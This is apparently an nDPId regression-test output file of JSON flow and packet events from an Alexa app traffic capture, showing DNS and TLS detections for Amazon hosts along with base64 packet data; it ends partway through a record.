+00499{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1659,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":29,"flow_packet_id":18,"flow_first_seen":1490976041384,"flow_last_seen":1490976042405,"flow_tot_l4_data_len":2759,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1118,"flow_avg_l4_data_len":153,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45662,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1659,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":30,"flow_packet_id":18,"flow_first_seen":1490976041400,"flow_last_seen":1490976042398,"flow_tot_l4_data_len":2791,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1150,"flow_avg_l4_data_len":155,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45663,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1659,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":44,"flow_packet_id":26,"flow_first_seen":1490976044189,"flow_last_seen":1490976046415,"flow_tot_l4_data_len":6933,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1198,"flow_avg_l4_data_len":266,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45673,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1659,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":45,"flow_packet_id":24,"flow_first_seen":1490976044219,"flow_last_seen":1490976046417,"flow_tot_l4_data_len":6925,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1214,"flow_avg_l4_data_len":288,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45674,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1659,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":47,"flow_packet_id":22,"flow_first_seen":1490976044488,"flow_last_seen":1490976046418,"flow_tot_l4_data_len":4870,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1166,"flow_avg_l4_data_len":221,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45676,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1659,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":48,"flow_packet_id":17,"flow_first_seen":1490976044502,"flow_last_seen":1490976046415,"flow_tot_l4_data_len":2771,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1150,"flow_avg_l4_data_len":163,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45677,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00496{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1659,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":49,"flow_packet_id":14,"flow_first_seen":1490976044509,"flow_last_seen":1490976046418,"flow_tot_l4_data_len":744,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":53,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45678,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00496{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1659,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":50,"flow_packet_id":13,"flow_first_seen":1490976044521,"flow_last_seen":1490976046418,"flow_tot_l4_data_len":724,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":55,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45679,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00500{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1659,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":37,"flow_packet_id":78,"flow_first_seen":1490976041942,"flow_last_seen":1490976046399,"flow_tot_l4_data_len":43981,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":563,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.85.209.216","src_port":54411,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1659,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":38,"flow_packet_id":17,"flow_first_seen":1490976041961,"flow_last_seen":1490976042341,"flow_tot_l4_data_len":6241,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":367,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.85.209.216","src_port":54412,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00527{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1659,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":39,"flow_packet_id":6,"flow_first_seen":1490976042054,"flow_last_seen":1490976042398,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.85.209.216","src_port":54413,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"}} +00494{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1659,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":39,"flow_packet_id":6,"flow_first_seen":1490976042054,"flow_last_seen":1490976042398,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.85.209.216","src_port":54413,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00500{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1659,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":42,"flow_packet_id":29,"flow_first_seen":1490976043814,"flow_last_seen":1490976046408,"flow_tot_l4_data_len":10991,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":379,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"72.21.206.135","src_port":42129,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00500{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1659,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":43,"flow_packet_id":32,"flow_first_seen":1490976043814,"flow_last_seen":1490976046401,"flow_tot_l4_data_len":11707,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":365,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"72.21.206.135","src_port":42130,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1659,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":36,"flow_packet_id":25,"flow_first_seen":1490976041870,"flow_last_seen":1490976042512,"flow_tot_l4_data_len":7430,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":297,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.24.186","src_port":34019,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00526{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1659,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":32,"flow_packet_id":2,"flow_first_seen":1490976041434,"flow_last_seen":1490976041437,"flow_tot_l4_data_len":60,"flow_min_l4_data_len":20,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"192.168.11.1","src_port":38391,"dst_port":8080,"l4_proto":"tcp","ndpi": {"proto":"HTTP_Proxy","breed":"Acceptable","category":"Web"}} +00493{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1659,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":32,"flow_packet_id":2,"flow_first_seen":1490976041434,"flow_last_seen":1490976041437,"flow_tot_l4_data_len":60,"flow_min_l4_data_len":20,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"192.168.11.1","src_port":38391,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1659,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":25,"flow_packet_id":24,"flow_first_seen":1490976035553,"flow_last_seen":1490976036358,"flow_tot_l4_data_len":6484,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":270,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"34.199.52.240","src_port":38363,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1659,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":26,"flow_packet_id":18,"flow_first_seen":1490976037754,"flow_last_seen":1490976042398,"flow_tot_l4_data_len":3903,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":216,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"34.199.52.240","src_port":38364,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1659,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":104,"flow_packet_id":1,"flow_first_seen":1490976107217,"flow_last_seen":0,"flow_tot_l4_data_len":49,"flow_min_l4_data_len":49,"flow_max_l4_data_len":49,"flow_avg_l4_data_len":49,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":14476,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00456{"flow_id":104,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1659,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976107,"pkt_ts_usec":217569,"pkt_caplen":83,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":83,"pkt_l4_len":49,"pkt":"AMDKkaPvePiC0\/vCCABFAABFWlxAAEARM1KsECrYrBAqATiMADUAMXUjXSIBAAABAAAAAAAADHNraWxscy1zdG9yZQZhbWF6b24DY29tAAABAAE="} +00652{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1659,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":104,"flow_packet_id":1,"flow_first_seen":1490976107217,"flow_last_seen":0,"flow_tot_l4_data_len":49,"flow_min_l4_data_len":49,"flow_max_l4_data_len":49,"flow_avg_l4_data_len":49,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":14476,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Amazon","breed":"Acceptable","category":"Web"},"dns": {"query":"skills-store.amazon.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00476{"flow_id":104,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1660,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976107,"pkt_ts_usec":359299,"pkt_caplen":99,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":99,"pkt_l4_len":65,"pkt":"ePiC0\/vCAMDKkaPvCABFAABV3nRAAEARrymsECoBrBAq2AA1OIwAQbpsXSKBgAABAAEAAAAADHNraWxscy1zdG9yZQZhbWF6b24DY29tAAABAAHADAABAAEAAAA7AAQ27x39"} +00679{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1660,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":104,"flow_packet_id":2,"flow_first_seen":1490976107217,"flow_last_seen":1490976107359,"flow_tot_l4_data_len":114,"flow_min_l4_data_len":49,"flow_max_l4_data_len":65,"flow_avg_l4_data_len":57,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":14476,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Amazon","breed":"Acceptable","category":"Web"},"dns": {"query":"skills-store.amazon.com","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"54.239.29.253"}} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1661,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":105,"flow_packet_id":1,"flow_first_seen":1490976107365,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.29.253","src_port":40853,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00447{"flow_id":105,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1661,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976107,"pkt_ts_usec":365068,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8ZVhAAEAGqY+sECrYNu8d\/Z+VAbuWKg0YAAAAAKAC\/\/9uYQAAAgQFtAQCCAoA9mhAAAAAAAEDAwg="} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1662,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":106,"flow_packet_id":1,"flow_first_seen":1490976107365,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.29.253","src_port":40854,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00447{"flow_id":106,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1662,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976107,"pkt_ts_usec":365814,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA87ItAAEAGIlysECrYNu8d\/Z+WAbsjoITLAAAAAKAC\/\/9pNwAAAgQFtAQCCAoA9mhAAAAAAAEDAwg="} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1663,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":107,"flow_packet_id":1,"flow_first_seen":1490976107366,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.29.253","src_port":40855,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00447{"flow_id":107,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1663,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976107,"pkt_ts_usec":366817,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8yY5AAEAGRVmsECrYNu8d\/Z+XAbtod6HOAAAAAKAC\/\/8HXAAAAgQFtAQCCAoA9mhAAAAAAAEDAwg="} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1664,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":108,"flow_packet_id":1,"flow_first_seen":1490976107455,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.29.253","src_port":40856,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00447{"flow_id":108,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1664,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976107,"pkt_ts_usec":455953,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8fklAAEAGkJ6sECrYNu8d\/Z+YAbtWLhYAAAAAAKAC\/\/+laQAAAgQFtAQCCAoA9mhJAAAAAAEDAwg="} +00429{"flow_id":106,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1667,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976107,"pkt_ts_usec":475725,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAwq71AAOcGvDU27x39rBAq2AG7n5aOPa1rI6CEzHASH\/6yzwAAAgQFtAEDAwY="} +00417{"flow_id":106,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1668,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976107,"pkt_ts_usec":477456,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAo7IxAAEAGIm+sECrYNu8d\/Z+WAbsjoITMjj2tbFAQAVf9QAAA"} +00707{"flow_id":106,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1669,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976107,"pkt_ts_usec":479024,"pkt_caplen":265,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":265,"pkt_l4_len":231,"pkt":"AMDKkaPvePiC0\/vCCABFAAD77I1AAEAGIZusECrYNu8d\/Z+WAbsjoITMjj2tbFAYAVdJtQAAFgMBAM4BAADKAwP4B+BuTBBzSprf0L4ScFyMs5UBKYxjcchKBNI\/gg\/KXQAAIPr6zKnMqMwUzBPAK8AvwCzAMMATwBQAnACdAC8ANQAKAQAAgerqAAD\/AQABAAAAABwAGgAAF3NraWxscy1zdG9yZS5hbWF6b24uY29tABcAAAAjAAAADQAUABIEAwgEBAEFAwgFBQEIBgYBAgEABQAFAQAAAAAAEgAAABAADgAMAmgyCGh0dHAvMS4xAAsAAgEAAAoACgAICgoAHQAXABhqagABAA=="} +00742{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1669,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":106,"flow_packet_id":4,"flow_first_seen":1490976107365,"flow_last_seen":1490976107479,"flow_tot_l4_data_len":319,"flow_min_l4_data_len":20,"flow_max_l4_data_len":231,"flow_avg_l4_data_len":79,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.29.253","src_port":40854,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"skills-store.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00429{"flow_id":105,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1670,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976107,"pkt_ts_usec":484245,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAwkaBAAOcG1lI27x39rBAq2AG7n5UJgL2ZlioNGXASH\/4siQAAAgQFtAEDAwY="} +00417{"flow_id":105,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1671,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976107,"pkt_ts_usec":485735,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoZVlAAEAGqaKsECrYNu8d\/Z+VAbuWKg0ZCYC9mlAQAVd2+gAA"} +00706{"flow_id":105,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1672,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976107,"pkt_ts_usec":486585,"pkt_caplen":265,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":265,"pkt_l4_len":231,"pkt":"AMDKkaPvePiC0\/vCCABFAAD7ZVpAAEAGqM6sECrYNu8d\/Z+VAbuWKg0ZCYC9mlAYAVc0jQAAFgMBAM4BAADKAwNhVWetGOgUJ6\/qUSs5PlkuSczE1Yh13cFVbTVOQK8mPwAAIGpqzKnMqMwUzBPAK8AvwCzAMMATwBQAnACdAC8ANQAKAQAAgWpqAAD\/AQABAAAAABwAGgAAF3NraWxscy1zdG9yZS5hbWF6b24uY29tABcAAAAjAAAADQAUABIEAwgEBAEFAwgFBQEIBgYBAgEABQAFAQAAAAAAEgAAABAADgAMAmgyCGh0dHAvMS4xAAsAAgEAAAoACgAIWloAHQAXABiqqgABAA=="} +00742{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1672,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":105,"flow_packet_id":4,"flow_first_seen":1490976107365,"flow_last_seen":1490976107486,"flow_tot_l4_data_len":319,"flow_min_l4_data_len":20,"flow_max_l4_data_len":231,"flow_avg_l4_data_len":79,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.29.253","src_port":40853,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"skills-store.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00429{"flow_id":108,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1673,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976107,"pkt_ts_usec":511896,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAwxddAAOcGohs27x39rBAq2AG7n5iFQQi8Vi4WAXASH\/6ctgAAAgQFtAEDAwY="} +00417{"flow_id":108,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1674,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976107,"pkt_ts_usec":513303,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAofkpAAEAGkLGsECrYNu8d\/Z+YAbtWLhYBhUEIvVAQAVfnJwAA"} +00705{"flow_id":108,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1675,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976107,"pkt_ts_usec":514712,"pkt_caplen":265,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":265,"pkt_l4_len":231,"pkt":"AMDKkaPvePiC0\/vCCABFAAD7fktAAEAGj92sECrYNu8d\/Z+YAbtWLhYBhUEIvVAYAVeFIwAAFgMBAM4BAADKAwNqGtrxEAyAkzWENgeiXeCCp8PZIZCzg0AB0basAuPyZAAAIGpqzKnMqMwUzBPAK8AvwCzAMMATwBQAnACdAC8ANQAKAQAAgdraAAD\/AQABAAAAABwAGgAAF3NraWxscy1zdG9yZS5hbWF6b24uY29tABcAAAAjAAAADQAUABIEAwgEBAEFAwgFBQEIBgYBAgEABQAFAQAAAAAAEgAAABAADgAMAmgyCGh0dHAvMS4xAAsAAgEAAAoACgAIGhoAHQAXABj6+gABAA=="} +00742{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1675,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":108,"flow_packet_id":4,"flow_first_seen":1490976107455,"flow_last_seen":1490976107514,"flow_tot_l4_data_len":319,"flow_min_l4_data_len":20,"flow_max_l4_data_len":231,"flow_avg_l4_data_len":79,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.29.253","src_port":40856,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"skills-store.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +02385{"flow_id":106,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1678,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976107,"pkt_ts_usec":577729,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXctZBAAOcGrLY27x39rBAq2AG7n5aOPa1sI6CFn1AYf\/lqiQAAFgMBCoICAABGAwFY3n1rOIW7oNSRBaCm8PAUHRKCqVhTjWcV2wM8OxfDZCDjl57+rOdpHXFgnzLflMNz4qaHfY\/vFo0YS4Pak7BlqwAvAAsACjAACi0ABOswggTnMIIDz6ADAgECAhA0Qbe7gak5NwZ8R7riI\/gSMA0GCSqGSIb3DQEBCwUAMH4xCzAJBgNVBAYTAlVTMR0wGwYDVQQKExRTeW1hbnRlYyBDb3Jwb3JhdGlvbjEfMB0GA1UECxMWU3ltYW50ZWMgVHJ1c3QgTmV0d29yazEvMC0GA1UEAxMmU3ltYW50ZWMgQ2xhc3MgMyBTZWN1cmUgU2VydmVyIENBIC0gRzQwHhcNMTYwNTE0MDAwMDAwWhcNMTcwNTE1MjM1OTU5WjBxMQswCQYDVQQGEwJVUzETMBEGA1UECAwKV2FzaGluZ3RvbjEQMA4GA1UEBwwHU2VhdHRsZTEZMBcGA1UECgwQQW1hem9uLmNvbSwgSW5jLjEgMB4GA1UEAwwXc2tpbGxzLXN0b3JlLmFtYXpvbi5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC2Ae\/8bgpr5OT5\/RUtaQE+q8wE+dsD8nkwfLZqRQzjHJjtegSGks2UzorWQFjWLtG+i256c+CUJ1vhl+EHtTJZ4pFArm7qohc9RDPXtDwDQu18ZpRPvjmPS4TSA8nOK8r9xaX32HNCvTyderUUV1a0NNUIFpK+6LcIjbyGcyCaP\/FJoXT9nbIop+WM\/EKfFsl1CZWkXMot1hRn5sGz2p1s6jZXPOZOTnhZn+CIRXXyMbeIbCppJEhu1Mh3xOBhHGaQTS5iR+rFBoS27FGONZDnloMZn3fHoaN7SAvLzGU4FtqSO4B4tBauIUyFzQYO6iaZJD\/vbuhgO0BQjfmPbkX5AgMBAAGjggFsMIIBaDAiBgNVHREEGzAZghdza2lsbHMtc3RvcmUuYW1hem9uLmNvbTAJBgNVHRMEAjAAMA4GA1UdDwEB\/wQEAw